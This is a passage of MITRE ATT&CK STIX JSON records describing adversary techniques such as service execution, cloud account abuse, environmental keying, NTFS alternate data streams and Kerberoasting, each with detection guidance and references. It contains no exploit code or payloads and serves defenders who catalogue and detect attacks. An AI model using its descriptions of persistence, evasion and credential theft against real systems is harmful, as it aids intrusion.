loaded drivers associated with the LSA. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Module: Module Load", "File: File Creation", "Driver: Driver Load", "File: File Modification"], "x_mitre_permissions_required": ["SYSTEM", "Administrator"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T15:53:00.999Z", "name": "Service Execution", "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Network Traffic: Network Traffic Flow", "Service: Service Creation", "Process: Process Creation", "Command: Command Execution"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "created": "2020-03-10T18:33:36.159Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1569/002", "external_id": "T1569.002"}, {"source_name": "Microsoft Service Control Manager", "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.", "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager"}, {"source_name": "Russinovich Sysinternals", "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-29T15:42:13.499Z", "name": "Cloud Accounts", "description": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Jon Sternstein, Stern Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace"], "x_mitre_version": "1.7", "x_mitre_data_sources": ["User Account: User Account Authentication", "Logon Session: Logon Session Metadata", "Logon Session: Logon Session Creation"], "x_mitre_permissions_required": ["User", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "created": "2020-03-13T20:36:57.378Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/004", "external_id": "T1078.004"}, {"source_name": "AWS Identity Federation", "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.", "url": "https://aws.amazon.com/identity/federation/"}, {"source_name": "Google Federating GC", "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.", "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction"}, {"source_name": "Microsoft Deploying AD Federation", "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Nick Carr, Mandiant"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", "created": "2020-06-23T22:28:28.041Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1480.001", "url": "https://attack.mitre.org/techniques/T1480/001"}, {"source_name": "Proofpoint Router Malvertising", "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019."}, {"source_name": "Kaspersky Gauss Whitepaper", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."}, {"source_name": "Ebowla: Genetic Malware", "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019."}, {"source_name": "EK Clueless Agents", "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019."}, {"source_name": "EK Impeding Malware Analysis", "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019."}, {"source_name": "Demiguise Guardrail Router Logo", "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019."}, {"source_name": "Environmental Keyed HTA", "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "modified": "2022-05-04T14:52:51.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Environmental Keying", "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Host Forensic Analysis", "Signature-based Detection", "Static File Analysis"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "type": "attack-pattern", "created": "2017-05-31T21:30:21.689Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1008", "external_id": "T1008"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-07-14T19:49:47.340Z", "name": "Fallback Channels", "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation"], "x_mitre_is_subtechnique": false}, {"modified": "2024-02-14T21:56:34.831Z", "name": "NTFS File Attributes", "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Oddvar Moe, @oddvarmoe", "Red Canary"], "x_mitre_deprecated": false, "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Command: Command Execution", "File: File Modification", "Process: Process Creation", "File: File Metadata", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Host forensic analysis", "Signature-based detection"], "x_mitre_system_requirements": ["NTFS partitioned hard drive"], "type": "attack-pattern", "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "created": "2020-03-13T20:33:00.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/004", "external_id": "T1564.004"}, {"source_name": "MalwareBytes ADS July 2015", "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"}, {"source_name": "SpectorOps Host-Based Jul 2017", "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"}, {"source_name": "Journey into IR ZeroAccess NTFS EA", "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"}, {"source_name": "Microsoft NTFS File Attributes Aug 2010", "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"}, {"source_name": "Microsoft ADS Mar 2014", "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"}, {"source_name": "Microsoft File Streams", "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa364404"}, {"source_name": "Oddvar Moe ADS2 Apr 2018", "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"}, {"source_name": "Oddvar Moe ADS1 Jan 2018", "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"}, {"source_name": "Symantec ADS May 2009", "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:46.538Z", "name": "Kerberoasting", "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Active Directory: Active Directory Credential Request"], "x_mitre_system_requirements": ["Valid domain account or the ability to sniff traffic within a domain"], "type": "attack-pattern", "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "created": "2020-02-11T18:43:38.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1558/003", "external_id": "T1558.003"}, {"source_name": "Empire InvokeKerberoast Oct 2016", "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"}, {"source_name": "AdSecurity Cracking Kerberos Dec 2015", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "url": "https://adsecurity.org/?p=2293"}, {"source_name": "Microsoft Detecting Kerberoasting Feb 2018", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"}, {"source_name": "Microsoft SPN", "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", "url": "https://msdn.microsoft.com/library/ms677949.aspx"}, {"source_name": "Microsoft SetSPN", "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"}, {"source_name": "SANS Attacking Kerberos Nov 2014", "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", "url": "https://redsiege.com/kerberoast-slides"}, {"source_name": "Harmj0y Kerberoast Nov 2016", "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Red Canary", "Oddvar Moe, @oddvarmoe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", "type": "attack-pattern", "created": "2017-05-31T21:31:11.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1096", "url": "https://attack.mitre.org/techniques/T1096"}, {"url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", "source_name": "SpectorOps Host-Based Jul 2017"}, {"url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", "source_name": "Microsoft NTFS File Attributes Aug 2010"}, {"url": "http://msdn.microsoft.com/en-us/library/aa364404", "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", "source_name": "Microsoft File Streams"}, {"url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", "source_name": "MalwareBytes ADS July 2015"}, {"url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", "source_name": "Microsoft ADS Mar 2014"}, {"url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", "source_name": "Journey into IR ZeroAccess NTFS EA"}, {"url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", "source_name": "Oddvar Moe ADS1 Jan 2018"}, {"url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", "source_name": "Oddvar Moe ADS2 Apr 2018"}, {"url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore", "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", "source_name": "Symantec ADS May 2009"}], "modified": "2020-03-13T21:04:13.284Z", "name": "NTFS File Attributes", "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Signature-based detection", "Host forensic analysis", "Anti-virus"], "x_mitre_system_requirements": ["NTFS partitioned hard drive"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ExtraHop", "Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", "type": "attack-pattern", "created": "2020-02-11T18:45:34.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1003.006", "url": "https://attack.mitre.org/techniques/T1003/006"}, {"url": "https://msdn.microsoft.com/library/cc228086.aspx", "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service 